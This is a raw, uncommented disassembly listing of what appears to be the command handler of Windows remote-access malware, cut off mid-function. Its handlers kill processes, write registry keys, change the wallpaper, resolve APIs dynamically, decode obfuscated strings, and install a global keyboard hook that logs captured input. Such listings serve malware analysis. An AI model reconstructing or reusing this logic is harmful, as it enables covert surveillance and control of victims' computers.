call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x4921b9
inc ebx
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x8498]
mov edx, dword [ebp - 0xc]
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0x8498]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc dword [ebp - 0xc]
dec ebx
jne 0x492195
lea edx, [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x24]
call fcn.0046d384
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4921e9
mov eax, dword [ebp - 0x24]
call fcn.00403d58
ret
lea ecx, [ebp - 0x849c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x849c]
mov edx, 0x496864
call fcn.00404f38
jne 0x492293
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 8]
call fcn.0046e3d0
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496870
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x84a0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84a0]
mov edx, 0x49687c
call fcn.00404f38
jne 0x492316
xor eax, eax
push ebp
push 0x4922ff
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0046efe0
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 8]
call fcn.0046e3d0
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496870
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492309
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x84a4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84a4]
mov edx, 0x496840
call fcn.00404f38
jne 0x492399
xor eax, eax
push ebp
push 0x492382
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0046ed44
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 8]
call fcn.0046e3d0
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496870
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49238c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x84a8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84a8]
mov edx, 0x496888
call fcn.00404f38
jne 0x49241c
xor eax, eax
push ebp
push 0x492405
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0046efe0
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 8]
call fcn.0046e3d0
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496870
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49240f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x84ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84ac]
mov edx, 0x496894
call fcn.00404f38
jne 0x49249f
xor eax, eax
push ebp
push 0x492488
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0046f588
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 8]
call fcn.0046e3d0
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496870
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492492
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x84b0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84b0]
mov edx, 0x4968a0
call fcn.00404f38
jne 0x492522
xor eax, eax
push ebp
push 0x49250b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0046f398
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 8]
call fcn.0046e3d0
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496870
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492515
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x84b4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84b4]
mov edx, 0x4968ac
call fcn.00404f38
jne 0x492600
xor eax, eax
push ebp
push 0x492592
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x84b8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84b8]
call fcn.00409244
call fcn.0047005c
lea eax, [ebp - 0x30]
call fcn.00470340
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49259c
cmp dword [ebp - 0x30], 0
jne 0x4925d9
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x15e
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4967d4
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496834
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x84bc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84bc]
mov edx, 0x4968b8
call fcn.00404f38
jne 0x4926de
xor eax, eax
push ebp
push 0x492670
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x84c0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84c0]
call fcn.00409244
call fcn.004700bc
lea eax, [ebp - 0x30]
call fcn.00470340
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49267a
cmp dword [ebp - 0x30], 0
jne 0x4926b7
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x164
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4967d4
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496834
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x84c4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84c4]
mov edx, 0x4968c4
call fcn.00404f38
jne 0x4927e3
xor eax, eax
push ebp
push 0x492763
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x84c8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84c8]
call fcn.00409244
push eax
lea ecx, [ebp - 0x84cc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84cc]
pop edx
call fcn.00409784
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49276d
lea eax, [ebp - 0x30]
mov edx, 0x4967a4
call fcn.00404bc4
lea eax, [ebp - 0x84d4]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x84d4]
lea ecx, [ebp - 0x84d0]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x84d0]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x84d8]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x84d8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x84dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84dc]
mov edx, 0x4968d0
call fcn.00404f38
jne 0x492854
lea ecx, [ebp - 0x84e0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84e0]
lea edx, [ebp - 0x30]
call fcn.00470b3c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4967ec
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x84e4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84e4]
mov edx, 0x4968dc
call fcn.00404f38
jne 0x4928d4
xor eax, eax
push ebp
push 0x49289b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
call fcn.0048f0f8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4928ad
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4967f8
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x84e8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84e8]
mov edx, 0x4968e8
call fcn.00404f38
jne 0x49292a
lea eax, [ebp - 0x30]
call fcn.00470834
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496810
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x84ec]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84ec]
mov edx, 0x4968f4
call fcn.00404f38
jne 0x4929f1
xor eax, eax
push ebp
push 0x4929ae
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x84f0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84f0]
call fcn.00409244
push eax
push 0xffffffffffffffff
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x4929a4
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4929b8
push 0x12c
call sub.kernel32.dll_Sleep_1
lea eax, [ebp - 0x30]
call fcn.00470834
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496810
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x84f4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84f4]
mov edx, 0x496900
call fcn.00404f38
jne 0x492b8a
xor eax, eax
push ebp
push 0x492b73
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x84fc]
mov eax, 6
call fcn.0048e3f4
push dword [ebp - 0x84fc]
lea ecx, [ebp - 0x8504]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8504]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8500]
call fcn.00404d24
push dword [ebp - 0x8500]
lea ecx, [ebp - 0x8508]
mov dx, 4
mov ax, 0x16a
call fcn.0048e25c
push dword [ebp - 0x8508]
lea eax, [ebp - 0x84f8]
mov edx, 3
call fcn.00404eac
mov edx, dword [ebp - 0x84f8]
lea eax, [ebp - 0x8350]
call fcn.00402f24
lea eax, [ebp - 0x8350]
call fcn.00402cc0
call fcn.00402894
lea ecx, [ebp - 0x850c]
mov dx, 0x12
mov ax, 0x16e
call fcn.0048e25c
mov edx, dword [ebp - 0x850c]
lea eax, [ebp - 0x8350]
call fcn.00405208
call fcn.00403810
call fcn.00402894
lea ecx, [ebp - 0x8510]
mov dx, 4
mov ax, 0x180
call fcn.0048e25c
lea eax, [ebp - 0x8510]
push eax
lea ecx, [ebp - 0x8518]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8518]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8514]
call fcn.00404d24
mov edx, dword [ebp - 0x8514]
pop eax
call fcn.00404df4
mov edx, dword [ebp - 0x8510]
lea eax, [ebp - 0x8350]
call fcn.00405208
call fcn.00403810
call fcn.00402894
lea eax, [ebp - 0x8350]
call fcn.004030c8
call fcn.00402894
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492b7d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x851c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x851c]
mov edx, 0x49690c
call fcn.00404f38
jne 0x492d2c
xor eax, eax
push ebp
push 0x492d15
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x46d0b0]
call fcn.0046d314
mov dword [ebp - 0x24], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x24]
call fcn.0046d3b4
xor eax, eax
push ebp
push 0x492c54
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8520]
mov dx, 0x3c
mov ax, 0x184
call fcn.0048e25c
mov edx, dword [ebp - 0x8520]
mov cl, 1
mov eax, dword [ebp - 0x24]
call fcn.0046d4f8
lea ecx, [ebp - 0x8524]
mov dx, 8
mov ax, 0x1c0
call fcn.0048e25c
mov edx, dword [ebp - 0x8524]
mov ecx, 1
mov eax, dword [ebp - 0x24]
call fcn.0046daf4
mov eax, dword [ebp - 0x24]
call fcn.0046d384
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x492c5b
mov eax, dword [ebp - 0x24]
call fcn.00403d58
ret
lea ecx, [ebp - 0x8534]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8534]
mov edx, 0x496918
call fcn.00404f38
jne 0x492f85
xor eax, eax
push ebp
push 0x492f6e
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8538]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8538]
lea edx, [ebp - 0x34]
call fcn.00458d68
lea ecx, [ebp - 0x853c]
mov dx, 0x12
mov ax, 0x205
call fcn.0048e25c
mov eax, dword [ebp - 0x853c]
call fcn.00404fec
push eax
lea ecx, [ebp - 0x8540]
mov dx, 0xa
mov ax, 0x1fb
call fcn.0048e25c
mov eax, dword [ebp - 0x8540]
call fcn.00404fec
push eax
call sub.kernel32.dll_LoadLibraryA
push eax
call sub.kernel32.dll_GetProcAddress_1
mov ebx, eax
push 0
push 0
lea eax, [ebp - 0x8548]
mov edx, dword [0x4a0314]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8548]
call fcn.00409244
lea edx, [ebp - 0x8544]
call fcn.0045914c
lea eax, [ebp - 0x8544]
mov edx, dword [ebp - 0x34]
call fcn.00404df4
mov eax, dword [ebp - 0x8544]
call fcn.00404fec
push eax
lea ecx, [ebp - 0x854c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x854c]
call fcn.00404fec
push eax
push 0
call ebx
test eax, eax
jne 0x492f64
mov dl, 1
mov eax, dword [0x46d0b0]
call fcn.0046d314
mov dword [ebp - 0x24], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x24]
call fcn.0046d3b4
xor eax, eax
push ebp
push 0x492f5d
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8550]
mov dx, 0x15
mov ax, 0x217
call fcn.0048e25c
mov edx, dword [ebp - 0x8550]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
call fcn.0046d4f8
lea ecx, [ebp - 0x8554]
mov dx, 0xd
mov ax, 0x22c
call fcn.0048e25c
mov edx, dword [ebp - 0x8554]
mov ecx, 0x496924
mov eax, dword [ebp - 0x24]
call fcn.0046da24
lea ecx, [ebp - 0x8558]
mov dx, 9
mov ax, 0x239
call fcn.0048e25c
mov eax, dword [ebp - 0x8558]
push eax
lea eax, [ebp - 0x8564]
mov edx, dword [0x4a0314]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8564]
call fcn.00409244
lea edx, [ebp - 0x8560]
call fcn.0045914c
lea eax, [ebp - 0x8560]
mov edx, dword [ebp - 0x34]
call fcn.00404df4
mov eax, dword [ebp - 0x8560]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x855c]
call fcn.00404d24
mov ecx, dword [ebp - 0x855c]
mov eax, dword [ebp - 0x24]
pop edx
call fcn.0046da24
push 2
push 0
push 0
push 0x14
call sub.user32.dll_SystemParametersInfoA
mov eax, dword [ebp - 0x24]
call fcn.0046d384
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x492f64
mov eax, dword [ebp - 0x24]
call fcn.00403d58
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492f78
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8568]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8568]
mov edx, 0x496930
call fcn.00404f38
jne 0x49311e
xor eax, eax
push ebp
push 0x493107
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x8570]
mov eax, 7
call fcn.0048e3f4
push dword [ebp - 0x8570]
lea ecx, [ebp - 0x8578]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8578]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8574]
call fcn.00404d24
push dword [ebp - 0x8574]
lea ecx, [ebp - 0x857c]
mov dx, 4
mov ax, 0x242
call fcn.0048e25c
push dword [ebp - 0x857c]
lea eax, [ebp - 0x856c]
mov edx, 3
call fcn.00404eac
mov edx, dword [ebp - 0x856c]
lea eax, [ebp - 0x8350]
call fcn.00402f24
lea eax, [ebp - 0x8350]
call fcn.00402cc0
call fcn.00402894
lea ecx, [ebp - 0x8580]
mov dx, 0x12
mov ax, 0x246
call fcn.0048e25c
mov edx, dword [ebp - 0x8580]
lea eax, [ebp - 0x8350]
call fcn.00405208
call fcn.00403810
call fcn.00402894
lea ecx, [ebp - 0x8584]
mov dx, 4
mov ax, 0x258
call fcn.0048e25c
lea eax, [ebp - 0x8584]
push eax
lea ecx, [ebp - 0x858c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x858c]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8588]
call fcn.00404d24
mov edx, dword [ebp - 0x8588]
pop eax
call fcn.00404df4
mov edx, dword [ebp - 0x8584]
lea eax, [ebp - 0x8350]
call fcn.00405208
call fcn.00403810
call fcn.00402894
lea eax, [ebp - 0x8350]
call fcn.004030c8
call fcn.00402894
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493111
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8590]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8590]
mov edx, 0x49693c
call fcn.00404f38
jne 0x493184
xor eax, eax
push ebp
push 0x49316d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
xor edx, edx
call fcn.0042becc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493177
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8594]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8594]
mov edx, 0x496948
call fcn.00404f38
jne 0x49324e
xor eax, eax
push ebp
push 0x493207
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8598]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8598]
push eax
lea ecx, [ebp - 0x859c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x859c]
lea ecx, [ebp - 0x30]
pop edx
call fcn.00490bb8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493211
cmp dword [ebp - 0x30], 0
jne 0x493227
lea ecx, [ebp - 0x30]
mov dx, 4
mov ax, 0x25c
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x49681c
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x85a0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85a0]
mov edx, 0x496954
call fcn.00404f38
jne 0x493318
xor eax, eax
push ebp
push 0x4932d1
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x85a4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85a4]
push eax
lea ecx, [ebp - 0x85a8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85a8]
lea ecx, [ebp - 0x30]
pop edx
call fcn.00490da4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4932db
cmp dword [ebp - 0x30], 0
jne 0x4932f1
lea ecx, [ebp - 0x30]
mov dx, 4
mov ax, 0x260
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x49681c
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x85ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85ac]
mov edx, 0x496960
call fcn.00404f38
jne 0x4933c4
cmp dword [0x49fccc], 0
jne 0x493377
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x264
call fcn.0048e25c
push 0
mov eax, dword [0x4a1664]
push eax
push 0x48e91c
push 0
call sub.user32.dll_SetWindowsHookExA
mov dword [0x49fccc], eax
jmp 0x493387
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x26a
call fcn.0048e25c
cmp dword [ebp - 0x30], 0
jne 0x49339d
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x270
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496828
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x85b0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85b0]
mov edx, 0x49696c
call fcn.00404f38
jne 0x4934d0
xor eax, eax
push ebp
push 0x49348f
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x49fccc], 0
je 0x493485
mov eax, dword [0x49fccc]
push eax
call sub.user32.dll_UnhookWindowsHookEx
xor eax, eax
mov dword [0x49fccc], eax
mov edx, dword [0x4a6a34]
mov eax, dword [0x4a6a30]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x85b8]
call fcn.00459304
push dword [ebp - 0x85b8]
lea eax, [ebp - 0x85bc]
call fcn.00459304
push dword [ebp - 0x85bc]
lea eax, [ebp - 0x85c0]
call fcn.00459304
push dword [ebp - 0x85c0]
lea eax, [ebp - 0x85b4]
mov edx, 3
call fcn.00404eac
mov edx, dword [ebp - 0x85b4]
mov eax, dword [0x4a6a30]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, 0x4a6a34
call fcn.00404b2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493499
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x276
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496828
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x85c4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85c4]
mov edx, 0x496978
call fcn.00404f38
jne 0x493541
lea edx, [ebp - 0x30]
mov eax, dword [0x4a6a30]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
cmp dword [ebp - 0x30], 0
jne 0x49351a
lea ecx, [ebp - 0x30]
mov dx, 4
